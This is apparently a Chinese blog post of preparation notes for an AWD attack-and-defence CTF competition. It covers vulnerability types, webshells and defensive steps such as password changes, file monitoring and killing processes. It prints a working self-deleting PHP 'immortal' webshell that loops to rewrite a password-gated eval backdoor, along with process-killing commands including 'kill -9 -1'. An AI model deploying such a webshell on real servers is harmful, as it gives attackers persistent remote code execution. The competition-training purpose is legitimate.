AWD准备

Attack

漏洞利用

文件上传
任意文件读取

webshell上传

不死马确实好用

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '3.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    usleep(5000);
}
?>

如果通过参数 也可以读,写入文件函数如下:

file_put_contents("test.txt", "This is another something.", FILE_APPEND);

Defence

改密码

SSH

passwd username

应用后台
数据库


##监控脚本
新增文件监控并删除
Get/Post记录
WAF(慎用 如果导致check失败会扣分)

##中了不死马怎么办
杀死进程,但估计会导致服务down
```shell
ps auxww|grep shell.php 找到pid后杀掉进程就可以
kill -9 -1 //杀死全部的进程
ps aux | grep www-data | awk '{print $2}' | xargs kill -9//最好的解决方案是kill掉www-data用户的所有子进程

利用条件竞争生成与不死马相同的文件,测试了一下,不断刷新还是可以执行命令

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.3.php';
    $code = 'hi springbird !';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .3.php');
    //    usleep(5000);这个时间比不死马短,利用条件竞争
          usleep(1000);
    }
?>

查找反弹shell

使用命令

netstat -antp

可以看到本机和同网段下主机已经建立连接 杀掉进程

kill -9 -pid
![](https://img2020.cnblogs.com/blog/1272123/202012/1272123-20201208091116243-975778323.png)
posted @ 2020-09-29 17:02  歇马  阅读(175)  评论(0编辑  收藏  举报